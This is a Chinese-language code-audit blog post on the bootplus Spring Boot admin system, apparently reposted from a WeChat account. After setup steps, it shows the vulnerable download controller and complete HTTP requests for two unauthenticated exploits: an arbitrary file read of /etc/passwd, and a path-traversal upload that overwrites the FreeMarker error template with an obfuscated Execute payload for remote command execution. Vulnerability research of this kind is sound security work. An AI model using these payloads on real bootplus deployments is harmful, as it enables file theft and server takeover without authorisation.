0x00 前言
bootplus是基于SpringBoot + Shiro + MyBatisPlus的,拥有接口管理,权限管理,监控组件等功能的一体化权限管理框架.
使用的组件有这些:
核心框架:Spring Boot 2.3.1安全框架:Apache Shiro视图框架:Spring MVC持久层框架:MyBatis、MyBatisPlus缓存技术:EhCache、Redis定时器:Quartz数据库连接池:Druid日志实现:SLF4J模版技术:FreeMarker页面交互:BootStrap、Layer等
项目结构如下
bootplus├── sql -- 项目SQL语句│├── App -- 项目启动类│├── common -- 公用模块| ├── enums -- 枚举工具类| ├── hessian -- Hessian自定义配置| ├── serializer -- 自定义序列化实现| ├── typehandler -- 自定义MyBatis类型转换器│├── config -- 配置信息| ├── aop -- Spring AOP深入实现| ├── filter -- 过滤器| ├── interceptor -- 拦截器| ├── listener -- 监听器│├── controller -- 控制器| ├── admin -- 后台管理员控制器| ├── api -- Api接口开放层│├── dao -- 数据访问接口及对应的XML文件│├── entity -- 数据持久化实体类| ├── enums -- 实体枚举类型│├── frame -- 框架公用模块| ├── cache -- 缓存模块| ├── constant -- 常量模块| ├── controller -- 控制器模块| ├── log -- 日志模块| ├── prj -- 项目核心模块| ├── spring -- spring模块│├── service -- 业务逻辑接口| ├── impl -- 业务逻辑接口实现类│├── shiro -- Shiro验证框架│├── task -- 定时任务│├── util -- 工具类| ├── db -- 数据库模块| ├── encry -- 加解密模块| ├── exception -- 自定义异常| ├── file -- 文件工具类| ├── freemaker -- 自定义FreeMarker标签| ├── http -- http模块实现| ├── sketch -- 字体、素描、图像| ├── spring -- spring公用模块│├── resources| ├── conf -- 不同环境配置| ├── file -- 模板文件| ├── jdk_fonts -- JDK字体| ├── META-INF -- SpringBoot配置| ├── statics -- 静态资源(css、js...)| ├── templates -- 页面FreeMarker模版| ├── upload -- 上传文件
0x01 网站搭建
1.整个项目可以直接使用IDEA直接进行构建运行,我这里直接使用 小皮面板 的数据库功能,注意要把Apache 或 Nginx环境关闭,首先我们先创建的数据库名为 bootplus 数据库账号密码默认 root root即可,然后将位于 /sql/bootplus.sql 的数据库文件导入到 bootplus 数据库中.
配置文件位于 /src/main/resources/application.yml 文件中,可自行修改内容.
2.然后使用IDEA把整个项目文件夹打开,然后等待IDEA自动构建即可,注意如果 Resolving Maven dependencies 的时间过长,记得更换一下 Maven 为阿里镜像站.
3.若无报错即构建成功,然后点击右上角的绿色三角按钮即可运行,若下方出现 "启动成功,项目地址: xxxx" 的字样,即运行成功,可直接访问 http://127.0.0.1/ 来到登录界面.
0x02 前台任意文件读取漏洞
我们直接进入 Controller 层去看一下有没有什么可利用的点,也可搜索危险函数关键词来进行定位审计,这里我们点开了 api/SysFileController 控制器,发现有个文件读取的接口.
package io.github.controller;/** * 文件上传下载控制器 * * @author Created by 思伟 on 2020/6/6 */@Controller@RequestMapping("/file")publicclassSysFileControllerextendsAbstractController{/** * 下载文件(后续待优化...有可能是下载模板,或者已经上传的文件) * * @param fileName 文件路径 * @param real 是否是绝对路径(如果为True就不转换) * @param request HttpServletRequest * @param response HttpServletResponse * @throws IOException */@RequestMapping("/download")publicvoiddownload(@RequestParam("name") String fileName, Boolean real, HttpServletRequest request, HttpServletResponse response) throws IOException {if (null == fileName) {thrownew RRException("未找到资源"); }// 默认编码 request.setCharacterEncoding(DEFAULT_CHARSET.name()); BufferedInputStream bis = null; BufferedOutputStream bos = null;// 解码 fileName = URLDecoder.decode(fileName, DEFAULT_CHARSET.name()); logger.info("下载文件的名称:{}", fileName);if (null == real || !real) { fileName = request.getServletContext().getRealPath(fileName); } logger.info("下载文件的绝对路径" + fileName); File file = null;try { file = new File(fileName); } catch (Exception e) { }if (null != file && file.exists() && file.isFile()) {// 获取文件的长度long fileLength = file.length();// 设置文件输出类型try { response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); String name = file.getName();if (null == real || !real) { name = name.length() > 13 ? name.substring(13) : name; } response.setHeader("Content-disposition","attachment; filename=" + URLEncoder.encode(name, DEFAULT_CHARSET.name()));// 设置输出长度 response.setHeader("Content-Length", String.valueOf(fileLength));// 获取输入流 bis = new BufferedInputStream(new FileInputStream(file));// 输出流 bos = new BufferedOutputStream(response.getOutputStream());byte[] buff = newbyte[2048];int bytesRead;while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) { bos.write(buff, 0, bytesRead); }// 关闭流 } catch (Exception e) {thrownew RRException("下载错误,请重试!"); } finally {if (null != bis) { bis.close(); }if (null != bos) { bos.close(); } } } else {thrownew RRException("未找到资源"); } }
通过对 RequestMapping 的解析,我们得知文件读取的接口地址为 /file/download,且通过RequestParam来接收网页传参,并在后面用文件流将文件下载下来. name值作为文件读取的地址,而real为是否要读取绝对路径.
我们直接赋值 name=/etc/passwd&real=1 即可读取任意绝对路径的文件 Payload:
GET /file/download?name=/etc/passwd&real=1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
0x03 前台任意文件上传+模板注入RCE漏洞
我们继续进入 Controller 层的 api/SysFileController 控制器,发现有个文件上传的接口.
该接口地址为 /file/upload 传参类型为 POST 且未有权限验证,通过 upload 方法绑定的 multipartRequest 参数用于接收网页传参数据,然后使用了 multipartRequest.getFile来获取上传的文件及文件名
然后继续使用 uploadPath 变量来获取上传文件的路径,之后直接将创建的文件流写入到 /upload/other/ 目录之中去.
我们上传一个JSP文件看看,发现解析不了,直接被浏览器下载下来了
这是因为该框架为Springboot框架,若没有引用相应框架是无法进行解析jsp的,但是我们注意到,该系统使用的模板框架为 FreeMarker ,该模板是存在 模板注入 漏洞的 !
且该上传点可以直接上传任意文件,包括跨目录,所以我们可以将恶意模板直接上传到 FreeMarker的模板目录中替换掉原本的 Error.ftl 模板,实际位于 /target/classes/templates/error.ftl
Payload:
POST/file/upload HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCu1VqOx1N8D7ViMR
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 354
------WebKitFormBoundaryCu1VqOx1N8D7ViMR
Content-Disposition: form-data; name="file"; filename="/../../../../bootplus-master/target/classes/templates/error.ftl"
Content-Type: image/jpeg
<#assign a="freemarker.te">
<#assign a2="${a}mplate.utility.Execute">
<#assign value="${a2}"?new()>${value("whoami")}
------WebKitFormBoundaryCu1VqOx1N8D7ViMR--
然后随便访问一个路径,让其报错即可造成命令执行
原文始发于微信公众号(星悦安全):【JAVA代码审计】bootplus 管理系统审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论